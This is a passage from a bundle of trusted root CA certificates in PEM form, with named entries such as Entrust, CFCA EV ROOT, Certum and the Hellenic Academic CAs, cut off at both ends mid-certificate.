EwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBS b290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQwMTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzES MBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENB IDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ld hNlT3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU+ehcCuz/ mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gpS0l4PJNgiCL8mdo2yMKi 1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1bVoE/c40yiTcdCMbXTMTEl3EASX2MN0C XZ/g1Ue9tOsbobtJSdifWwLziuQkkORiT0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl 3ZBWzvurpWCdxJ35UrCLvYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzy NeVJSQjKVsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZKdHzV WYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHTc+XvvqDtMwt0viAg xGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hvl7yTmvmcEpB4eoCHFddydJxVdHix uuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5NiGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMC AQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZI hvcNAQELBQADggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH 6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwtLRvM7Kqas6pg ghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93nAbowacYXVKV7cndJZ5t+qnt ozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3+wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmV YjzlVYA211QC//G5Xc7UI2/YRYRKW2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUX feu+h1sXIFRRk0pTAwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/ro kTLql1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG4iZZRHUe 2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZmUlO+KWA2yUPHGNiiskz Z2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7R cGzM7vRX+Bi6hG6H -----END CERTIFICATE----- IdenTrust Public Sector Root CA 1 ================================= -----BEGIN CERTIFICATE----- MIIFZjCCA06gAwIBAgIQCgFCgAAAAUUjz0Z8AAAAAjANBgkqhkiG9w0BAQsFADBNMQswCQYDVQQG EwJVUzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3Rv ciBSb290IENBIDEwHhcNMTQwMTE2MTc1MzMyWhcNMzQwMTE2MTc1MzMyWjBNMQswCQYDVQQGEwJV UzESMBAGA1UEChMJSWRlblRydXN0MSowKAYDVQQDEyFJZGVuVHJ1c3QgUHVibGljIFNlY3RvciBS b290IENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC2IpT8pEiv6EdrCvsnduTy P4o7ekosMSqMjbCpwzFrqHd2hCa2rIFCDQjrVVi7evi8ZX3yoG2LqEfpYnYeEe4IFNGyRBb06tD6 Hi9e28tzQa68ALBKK0CyrOE7S8ItneShm+waOh7wCLPQ5CQ1B5+ctMlSbdsHyo+1W/CD80/HLaXI rcuVIKQxKFdYWuSNG5qrng0M8gozOSI5Cpcu81N3uURF/YTLNiCBWS2ab21ISGHKTN9T0a9SvESf qy9rg3LvdYDaBjMbXcjaY8ZNzaxmMc3R3j6HEDbhuaR672BQssvKplbgN6+rNBM5Jeg5ZuSYeqoS mJxZZoY+rfGwyj4GD3vwEUs3oERte8uojHH01bWRNszwFcYr3lEXsZdMUD2xlVl8BX0tIdUAvwFn ol57plzy9yLxkA2T26pEUWbMfXYD62qoKjgZl3YNa4ph+bz27nb9cCvdKTz4Ch5bQhyLVi9VGxyh LrXHFub4qjySjmm2AcG1hp2JDws4lFTo6tyePSW8Uybt1as5qsVATFSrsrTZ2fjXctscvG29ZV/v iDUqZi/u9rNl8DONfJhBaUYPQxxp+pu10GFqzcpL2UyQRqsVWaFHVCkugyhfHMKiq3IXAAaOReyL 4jM9f9oZRORicsPfIsbyVtTdX5Vy7W1f90gDW/3FKqD2cyOEEBsB5wIDAQABo0IwQDAOBgNVHQ8B Af8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB/zAdBgNVHQ4EFgQU43HgntinQtnbcZFrlJPrw6PRFKMw DQYJKoZIhvcNAQELBQADggIBAEf63QqwEZE4rU1d9+UOl1QZgkiHVIyqZJnYWv6IAcVYpZmxI1Qj t2odIFflAWJBF9MJ23XLblSQdf4an4EKwt3X9wnQW3IV5B4Jaj0z8yGa5hV+rVHVDRDtfULAj+7A mgjVQdZcDiFpboBhDhXAuM/FSRJSzL46zNQuOAXeNf0fb7iAaJg9TaDKQGXSc3z1i9kKlT/YPyNt GtEqJBnZhbMX73huqVjRI9PHE+1yJX9dsXNw0H8GlwmEKYBhHfpe/3OsoOOJuBxxFcbeMX8S3OFt m6/n6J91eEyrRjuazr8FGF1NFTwWmhlQBJqymm9li1JfPFgEKCXAZmExfrngdbkaqIHWchezxQMx NRF4eKLg6TCMf4DfWN88uieW4oA0beOY02QnrEh+KHdcxiVhJfiFDGX6xDIvpZgF5PgLZxYWxoK4 Mhn5+bl53B/N66+rDt0b20XkeucC4pVd/GnwU2lhlXV5C15V5jgclKlZM57IcXR5f1GJtshquDDI ajjDbp7hNxbqBWJMWxJH7ae0s1hWx0nzfxJoCTFx8G34Tkf71oXuxVhAGaQdp/lLQzfcaFpPz+vC ZHTetBXZ9FRUGi8c15dxVJCO2SCdUyt/q4/i6jC8UDfv8Ue1fXwsBOxonbRJRBD0ckscZOf85muQ 3Wl9af0AVqW3rLatt8o+Ae+c -----END CERTIFICATE----- Entrust Root Certification Authority - G2 ========================================= -----BEGIN CERTIFICATE----- MIIEPjCCAyagAwIBAgIESlOMKDANBgkqhkiG9w0BAQsFADCBvjELMAkGA1UEBhMCVVMxFjAUBgNV BAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVy bXMxOTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ug b25seTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIw HhcNMDkwNzA3MTcyNTU0WhcNMzAxMjA3MTc1NTU0WjCBvjELMAkGA1UEBhMCVVMxFjAUBgNVBAoT DUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVnYWwtdGVybXMx OTA3BgNVBAsTMChjKSAyMDA5IEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXplZCB1c2Ugb25s eTEyMDAGA1UEAxMpRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5IC0gRzIwggEi MA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC6hLZy254Ma+KZ6TABp3bqMriVQRrJ2mFOWHLP /vaCeb9zYQYKpSfYs1/TRU4cctZOMvJyig/3gxnQaoCAAEUesMfnmr8SVycco2gvCoe9amsOXmXz HHfV1IWNcCG0szLni6LVhjkCsbjSR87kyUnEO6fe+1R9V77w6G7CebI6C1XiUJgWMhNcL3hWwcKU s/Ja5CeanyTXxuzQmyWC48zCxEXFjJd6BmsqEZ+pCm5IO2/b1BEZQvePB7/1U1+cPvQXLOZprE4y TGJ36rfo5bs0vBmLrpxR57d+tVOxMyLlbc9wPBr64ptntoP0jaWvYkxN4FisZDQSA/i2jZRjJKRx AgMBAAGjQjBAMA4GA1UdDwEB/wQEAwIBBjAPBgNVHRMBAf8EBTADAQH/MB0GA1UdDgQWBBRqciZ6 0B7vfec7aVHUbI2fkBJmqzANBgkqhkiG9w0BAQsFAAOCAQEAeZ8dlsa2eT8ijYfThwMEYGprmi5Z iXMRrEPR9RP/jTkrwPK9T3CMqS/qF8QLVJ7UG5aYMzyorWKiAHarWWluBh1+xLlEjZivEtRh2woZ Rkfz6/djwUAFQKXSt/S1mja/qYh2iARVBCuch38aNzx+LaUa2NSJXsq9rD1s2G2v1fN2D807iDgi nWyTmsQ9v4IbZT+mD12q/OWyFcq1rca8PdCE6OoGcrBNOTJ4vz4RnAuknZoh8/CbCzB428Hch0P+ vGOaysXCHMnHjf87ElgI5rY97HosTvuDls4MPGmHVHOkc8KT/1EQrBVUAdj8BbGJoX90g5pJ19xO e4pIb4tF9g== -----END CERTIFICATE----- Entrust Root Certification Authority - EC1 ========================================== -----BEGIN CERTIFICATE----- MIIC+TCCAoCgAwIBAgINAKaLeSkAAAAAUNCR+TAKBggqhkjOPQQDAzCBvzELMAkGA1UEBhMCVVMx FjAUBgNVBAoTDUVudHJ1c3QsIEluYy4xKDAmBgNVBAsTH1NlZSB3d3cuZW50cnVzdC5uZXQvbGVn YWwtdGVybXMxOTA3BgNVBAsTMChjKSAyMDEyIEVudHJ1c3QsIEluYy4gLSBmb3IgYXV0aG9yaXpl ZCB1c2Ugb25seTEzMDEGA1UEAxMqRW50cnVzdCBSb290IENlcnRpZmljYXRpb24gQXV0aG9yaXR5 IC0gRUMxMB4XDTEyMTIxODE1MjUzNloXDTM3MTIxODE1NTUzNlowgb8xCzAJBgNVBAYTAlVTMRYw FAYDVQQKEw1FbnRydXN0LCBJbmMuMSgwJgYDVQQLEx9TZWUgd3d3LmVudHJ1c3QubmV0L2xlZ2Fs LXRlcm1zMTkwNwYDVQQLEzAoYykgMjAxMiBFbnRydXN0LCBJbmMuIC0gZm9yIGF1dGhvcml6ZWQg dXNlIG9ubHkxMzAxBgNVBAMTKkVudHJ1c3QgUm9vdCBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAt IEVDMTB2MBAGByqGSM49AgEGBSuBBAAiA2IABIQTydC6bUF74mzQ61VfZgIaJPRbiWlH47jCffHy AsWfoPZb1YsGGYZPUxBtByQnoaD41UcZYUx9ypMn6nQM72+WCf5j7HBdNq1nd67JnXxVRDqiY1Ef 9eNi1KlHBz7MIKNCMEAwDgYDVR0PAQH/BAQDAgEGMA8GA1UdEwEB/wQFMAMBAf8wHQYDVR0OBBYE FLdj5xrdjekIplWDpOBqUEFlEUJJMAoGCCqGSM49BAMDA2cAMGQCMGF52OVCR98crlOZF7ZvHH3h vxGU0QOIdeSNiaSKd0bebWHvAvX7td/M/k7//qnmpwIwW5nXhTcGtXsI/esni0qU+eH6p44mCOh8 kmhtc9hvJqwhAriZtyZBWyVgrtBIGu4G -----END CERTIFICATE----- CFCA EV ROOT ============ -----BEGIN CERTIFICATE----- MIIFjTCCA3WgAwIBAgIEGErM1jANBgkqhkiG9w0BAQsFADBWMQswCQYDVQQGEwJDTjEwMC4GA1UE CgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQDDAxDRkNB IEVWIFJPT1QwHhcNMTIwODA4MDMwNzAxWhcNMjkxMjMxMDMwNzAxWjBWMQswCQYDVQQGEwJDTjEw MC4GA1UECgwnQ2hpbmEgRmluYW5jaWFsIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRUwEwYDVQQD DAxDRkNBIEVWIFJPT1QwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDXXWvNED8fBVnV BU03sQ7smCuOFR36k0sXgiFxEFLXUWRwFsJVaU2OFW2fvwwbwuCjZ9YMrM8irq93VCpLTIpTUnrD 7i7es3ElweldPe6hL6P3KjzJIx1qqx2hp/Hz7KDVRM8Vz3IvHWOX6Jn5/ZOkVIBMUtRSqy5J35DN uF++P96hyk0g1CXohClTt7GIH//62pCfCqktQT+x8Rgp7hZZLDRJGqgG16iI0gNyejLi6mhNbiyW ZXvKWfry4t3uMCz7zEasxGPrb382KzRzEpR/38wmnvFyXVBlWY9ps4deMm/DGIq1lY+wejfeWkU7 xzbh72fROdOXW3NiGUgthxwG+3SYIElz8AXSG7Ggo7cbcNOIabla1jj0Ytwli3i/+Oh+uFzJlU9f py25IGvPa931DfSCt/SyZi4QKPaXWnuWFo8BGS1sbn85WAZkgwGDg8NNkt0yxoekN+kWzqotaK8K gWU6cMGbrU1tVMoqLUuFG7OA5nBFDWteNfB/O7ic5ARwiRIlk9oKmSJgamNgTnYGmE69g60dWIol hdLHZR4tjsbftsbhf4oEIRUpdPA+nJCdDC7xij5aqgwJHsfVPKPtl8MeNPo4+QgO48BdK4PRVmrJ tqhUUy54Mmc9gn900PvhtgVguXDbjgv5E1hvcWAQUhC5wUEJ73IfZzF4/5YFjQIDAQABo2MwYTAf BgNVHSMEGDAWgBTj/i39KNALtbq2osS/BqoFjJP7LzAPBgNVHRMBAf8EBTADAQH/MA4GA1UdDwEB /wQEAwIBBjAdBgNVHQ4EFgQU4/4t/SjQC7W6tqLEvwaqBYyT+y8wDQYJKoZIhvcNAQELBQADggIB ACXGumvrh8vegjmWPfBEp2uEcwPenStPuiB/vHiyz5ewG5zz13ku9Ui20vsXiObTej/tUxPQ4i9q ecsAIyjmHjdXNYmEwnZPNDatZ8POQQaIxffu2Bq41gt/UP+TqhdLjOztUmCypAbqTuv0axn96/Ua 4CUqmtzHQTb3yHQFhDmVOdYLO6Qn+gjYXB74BGBSESgoA//vU2YApUo0FmZ8/Qmkrp5nGm9BC2sG E5uPhnEFtC+NiWYzKXZUmhH4J/qyP5Hgzg0b8zAarb8iXRvTvyUFTeGSGn+ZnzxEk8rUQElsgIfX BDrDMlI1Dlb4pd19xIsNER9Tyx6yF7Zod1rg1MvIB671Oi6ON7fQAUtDKXeMOZePglr4UeWJoBjn aH9dCi77o0cOPaYjesYBx4/IXr9tgFa+iiS6M+qf4TIRnvHST4D2G0CvOJ4RUHlzEhLN5mydLIhy PDCBBpEi6lmt2hkuIsKNuYyH4Ga8cyNfIWRjgEj1oDwYPZTISEEdQLpe/v5WOaHIz16eGWRGENoX kbcFgKyLmZJ956LYBws2J+dIeWCKw9cTXPhyQN9Ky8+ZAAoACxGV2lZFA4gKn2fQ1XmxqI1AbQ3C ekD6819kR5LLU7m7Wc5P/dAVUwHY3+vZ5nbv0CO7O6l5s9UCKc2Jo5YPSjXnTkLAdc0Hz+Ys63su -----END CERTIFICATE----- OISTE WISeKey Global Root GB CA =============================== -----BEGIN CERTIFICATE----- MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBtMQswCQYDVQQG EwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUgRm91bmRhdGlvbiBFbmRvcnNl ZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9iYWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAw MzJaFw0zOTEyMDExNTEwMzFaMG0xCzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYD VQQLExlPSVNURSBGb3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEds b2JhbCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3HEokKtaX scriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGxWuR51jIjK+FTzJlFXHtP rby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk 9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNku7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4o Qnc/nSMbsrY9gBQHTC5P99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvg GUpuuy9rM2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUwAwEB /zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUBBAMCAQAwDQYJKoZI hvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrghcViXfa43FK8+5/ea4n32cZiZBKpD dHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0 VQreUGdNZtGn//3ZwLWoo4rOZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEui HZeeevJuQHHfaPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic Nc1MaRVUGpCY3useX8p3x8uOPUNpnJpY0CQ73xtAln41rYHHTnG6iBM= -----END CERTIFICATE----- SZAFIR ROOT CA2 =============== -----BEGIN CERTIFICATE----- MIIDcjCCAlqgAwIBAgIUPopdB+xV0jLVt+O2XwHrLdzk1uQwDQYJKoZIhvcNAQELBQAwUTELMAkG A1UEBhMCUEwxKDAmBgNVBAoMH0tyYWpvd2EgSXpiYSBSb3psaWN6ZW5pb3dhIFMuQS4xGDAWBgNV BAMMD1NaQUZJUiBST09UIENBMjAeFw0xNTEwMTkwNzQzMzBaFw0zNTEwMTkwNzQzMzBaMFExCzAJ BgNVBAYTAlBMMSgwJgYDVQQKDB9LcmFqb3dhIEl6YmEgUm96bGljemVuaW93YSBTLkEuMRgwFgYD VQQDDA9TWkFGSVIgUk9PVCBDQTIwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC3vD5Q qEvNQLXOYeeWyrSh2gwisPq1e3YAd4wLz32ohswmUeQgPYUM1ljj5/QqGJ3a0a4m7utT3PSQ1hNK DJA8w/Ta0o4NkjrcsbH/ON7Dui1fgLkCvUqdGw+0w8LBZwPd3BucPbOw3gAeqDRHu5rr/gsUvTaE 2g0gv/pby6kWIK05YO4vdbbnl5z5Pv1+TW9NL++IDWr63fE9biCloBK0TXC5ztdyO4mTp4CEHCdJ ckm1/zuVnsHMyAHs6A6KCpbns6aH5db5BSsNl0BwPLqsdVqc1U2dAgrSS5tmS0YHF2Wtn2yIANwi ieDhZNRnvDF5YTy7ykHNXGoAyDw4jlivAgMBAAGjQjBAMA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0P AQH/BAQDAgEGMB0GA1UdDgQWBBQuFqlKGLXLzPVvUPMjX/hd56zwyDANBgkqhkiG9w0BAQsFAAOC AQEAtXP4A9xZWx126aMqe5Aosk3AM0+qmrHUuOQn/6mWmc5G4G18TKI4pAZw8PRBEew/R40/cof5 O/2kbytTAOD/OblqBw7rHRz2onKQy4I9EYKL0rufKq8h5mOGnXkZ7/e7DDWQw4rtTw/1zBLZpD67 oPwglV9PJi8RI4NOdQcPv5vRtB3pEAT+ymCPoky4rc/hkA/NrgrHXXu3UNLUYfrVFdvXn4dRVOul 4+vJhaAlIDf7js4MNIThPIGyd05DpYhfhmehPea0XGG2Ptv+tyjFogeutcrKjSoS75ftwjCkySp6 +/NNIxuZMzSgLvWpCz/UXeHPhJ/iGcJfitYgHuNztw== -----END CERTIFICATE----- Certum Trusted Network CA 2 =========================== -----BEGIN CERTIFICATE----- MIIF0jCCA7qgAwIBAgIQIdbQSk8lD8kyN/yqXhKN6TANBgkqhkiG9w0BAQ0FADCBgDELMAkGA1UE BhMCUEwxIjAgBgNVBAoTGVVuaXpldG8gVGVjaG5vbG9naWVzIFMuQS4xJzAlBgNVBAsTHkNlcnR1 bSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eTEkMCIGA1UEAxMbQ2VydHVtIFRydXN0ZWQgTmV0d29y ayBDQSAyMCIYDzIwMTExMDA2MDgzOTU2WhgPMjA0NjEwMDYwODM5NTZaMIGAMQswCQYDVQQGEwJQ TDEiMCAGA1UEChMZVW5pemV0byBUZWNobm9sb2dpZXMgUy5BLjEnMCUGA1UECxMeQ2VydHVtIENl cnRpZmljYXRpb24gQXV0aG9yaXR5MSQwIgYDVQQDExtDZXJ0dW0gVHJ1c3RlZCBOZXR3b3JrIENB IDIwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQC9+Xj45tWADGSdhhuWZGc/IjoedQF9 7/tcZ4zJzFxrqZHmuULlIEub2pt7uZld2ZuAS9eEQCsn0+i6MLs+CRqnSZXvK0AkwpfHp+6bJe+o CgCXhVqqndwpyeI1B+twTUrWwbNWuKFBOJvR+zF/j+Bf4bE/D44WSWDXBo0Y+aomEKsq09DRZ40b Rr5HMNUuctHFY9rnY3lEfktjJImGLjQ/KUxSiyqnwOKRKIm5wFv5HdnnJ63/mgKXwcZQkpsCLL2p uTRZCr+ESv/f/rOf69me4Jgj7KZrdxYq28ytOxykh9xGc14ZYmhFV+SQgkK7QtbwYeDBoz1mo130 GO6IyY0XRSmZMnUCMe4pJshrAua1YkV/NxVaI2iJ1D7eTiew8EAMvE0Xy02isx7QBlrd9pPPV3WZ 9fqGGmd4s7+W/jTcvedSVuWz5XV710GRBdxdaeOVDUO5/IOWOZV7bIBaTxNyxtd9KXpEulKkKtVB Rgkg/iKgtlswjbyJDNXXcPiHUv3a76xRLgezTv7QCdpw75j6VuZt27VXS9zlLCUVyJ4ueE742pye hizKV/Ma5ciSixqClnrDvFASadgOWkaLOusm+iPJtrCBvkIApPjW/jAux9JG9uWOdf3yzLnQh1vM BhBgu4M1t15n3kfsmUjxpKEV/q2MYo45VU85FrmxY53/twIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MB0GA1UdDgQWBBS2oVQ5AsOgP46KvPrU+Bym0ToO/TAOBgNVHQ8BAf8EBAMCAQYwDQYJKoZI hvcNAQENBQADggIBAHGlDs7k6b8/ONWJWsQCYftMxRQXLYtPU2sQF/xlhMcQSZDe28cmk4gmb3DW Al45oPePq5a1pRNcgRRtDoGCERuKTsZPpd1iHkTfCVn0W3cLN+mLIMb4Ck4uWBzrM9DPhmDJ2vuA L55MYIR4PSFk1vtBHxgP58l1cb29XN40hz5BsA72udY/CROWFC/emh1auVbONTqwX3BNXuMp8SMo clm2q8KMZiYcdywmdjWLKKdpoPk79SPdhRB0yZADVpHnr7pH1BKXESLjokmUbOe3lEu6LaTaM4tM pkT/WjzGHWTYtTHkpjx6qFcL2+1hGsvxznN3Y6SHb0xRONbkX8eftoEq5IVIeVheO/jbAoJnwTnb w3RLPTYe+SmTiGhbqEQZIfCn6IENLOiTNrQ3ssqwGyZ6miUfmpqAnksqP/ujmv5zMnHCnsZy4Ypo J/HkD7TETKVhk/iXEAcqMCWpuchxuO9ozC1+9eB+D4Kob7a6bINDd82Kkhehnlt4Fj1F4jNy3eFm ypnTycUm/Q1oBEauttmbjL4ZvrHG8hnjXALKLNhvSgfZyTXaQHXyxKcZb55CEJh15pWLYLztxRLX is7VmFxWlgPF7ncGNf/P5O4/E2Hu29othfDNrp2yGAlFw5Khchf8R7agCyzxxN5DaAhqXzvwdmP7 zAYspsbiDrW5viSP -----END CERTIFICATE----- Hellenic Academic and Research Institutions RootCA 2015 ======================================================= -----BEGIN CERTIFICATE----- MIIGCzCCA/OgAwIBAgIBADANBgkqhkiG9w0BAQsFADCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcT BkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0 aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNVBAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNl YXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIwMTUwHhcNMTUwNzA3MTAxMTIxWhcNNDAwNjMwMTAx MTIxWjCBpjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0aGVuczFEMEIGA1UEChM7SGVsbGVuaWMg QWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9ucyBDZXJ0LiBBdXRob3JpdHkxQDA+BgNV BAMTN0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgUm9vdENBIDIw MTUwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDC+Kk/G4n8PDwEXT2QNrCROnk8Zlrv bTkBSRq0t89/TSNTt5AA4xMqKKYx8ZEA4yjsriFBzh/a/X0SWwGDD7mwX5nh8hKDgE0GPt+sr+eh iGsxr/CL0BgzuNtFajT0AoAkKAoCFZVedioNmToUW/bLy1O8E00BiDeUJRtCvCLYjqOWXjrZMts+ 6PAQZe104S+nfK8nNLspfZu2zwnI5dMK/IhlZXQK3HMcXM1AsRzUtoSMTFDPaI6oWa7CJ06CojXd FPQf/7J31Ycvqm59JCfnxssm5uX+Zwdj2EUN3TpZZTlYepKZcj2chF6IIbjV9Cz82XBST3i4vTwr i5WY9bPRaM8gFH5MXF/ni+X1NYEZN9cRCLdmvtNKzoNXADrDgfgXy5I2XdGj2HUb4Ysn6npIQf1F GQatJ5lOwXBH3bWfgVMS5bGMSF0xQxfjjMZ6Y5ZLKTBOhE5iGV48zpeQpX8B653g+IuJ3SWYPZK2 fu/Z8VFRfS0myGlZYeCsargqNhEEelC9MoS+L9xy1dcdFkfkR2YgP/SWxa+OAXqlD3pk9Q0Yh9mu iNX6hME6wGkoLfINaFGq46V3xqSQDqE3izEjR8EJCOtu93ib14L8hCCZSRm2Ekax+0VVFqmjZayc Bw/qa9wfLgZy7IaIEuQt218FL+TwA9MmM+eAws1CoRc0CwIDAQABo0IwQDAPBgNVHRMBAf8EBTAD AQH/MA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUcRVnyMjJvXVdctA4GGqd83EkVAswDQYJKoZI hvcNAQELBQADggIBAHW7bVRLqhBYRjTyYtcWNl0IXtVsyIe9tC5G8jH4fOpCtZMWVdyhDBKg2mF+ D1hYc2Ryx+hFjtyp8iY/xnmMsVMIM4GwVhO+5lFc2JsKT0ucVlMC6U/2DWDqTUJV6HwbISHTGzrM d/K4kPFox/la/vot9L/J9UUbzjgQKjeKeaO04wlshYaT/4mWJ3iBj2fjRnRUjtkNaeJK9E10A/+y d+2VZ5fkscWrv2oj6NSU4kQoYsRL4vDY4ilrGnB+JGGTe08DMiUNRSQrlrRGar9KC/eaj8GsGsVn 82800vpzY4zvFrCopEYq+OsS7HK07/grfoxSwIuEVPkvPuNVqNxmsdnhX9izjFk0WaSrT2y7Hxjb davYy5LNlDhhDgcGH0tGEPEVvo2FXDtKK4F5D7Rpn0lQl033DlZdwJVqwjbDG2jJ9SrcR5q+ss7F Jej6A7na+RZukYT1HCjI/CbM1xyQVqdfbzoEvM14iQuODy+jqk+iGxI9FghAD/FGTNeqewjBCvVt J94Cj8rDtSvK6evIIVM4pcw72Hc3MKJP2W/R8kCtQXoXxdZKNYm3QdV8hn9VTYNKpXMgwDqvkPGa JI7ZjnHKe7iG2rKPmT4dEw0SEe7Uq/DpFXYC5ODfqiAeW2GFZECpkJcNrVPSWh2HagCXZWK0vm9q p/UsQu0yrbYhnr68 -----END CERTIFICATE----- Hellenic Academic and Research Institutions ECC RootCA 2015 =========================================================== -----BEGIN CERTIFICATE----- MIICwzCCAkqgAwIBAgIBADAKBggqhkjOPQQDAjCBqjELMAkGA1UEBhMCR1IxDzANBgNVBAcTBkF0 aGVuczFEMEIGA1UEChM7SGVsbGVuaWMgQWNhZGVtaWMgYW5kIFJlc2VhcmNoIEluc3RpdHV0aW9u cyBDZXJ0LiBBdXRob3JpdHkxRDBCBgNVBAMTO0hlbGxlbmljIEFjYWRlbWljIGFuZCBSZXNlYXJj aCBJbnN0aXR1dGlvbnMgRUNDIFJvb3RDQSAyMDE1MB4XDTE1MDcwNzEwMzcxMloXDTQwMDYzMDEw MzcxMlowgaoxCzAJBgNVBAYTAkdSMQ8wDQYDVQQHEwZBdGhlbnMxRDBCBgNVBAoTO0hlbGxlbmlj IEFjYWRlbWljIGFuZCBSZXNlYXJjaCBJbnN0aXR1dGlvbnMgQ2VydC4gQXV0aG9yaXR5MUQwQgYD VQQDEztIZWxsZW5pYyBBY2FkZW1pYyBhbmQgUmVzZWFyY2ggSW5zdGl0dXRpb25zIEVDQyBSb290 Q0EgMjAxNTB2MBAGByqGSM49AgEGBSuBBAAiA2IABJKgQehLgoRc4vgxEZmGZE4JJS+dQS8KrjVP 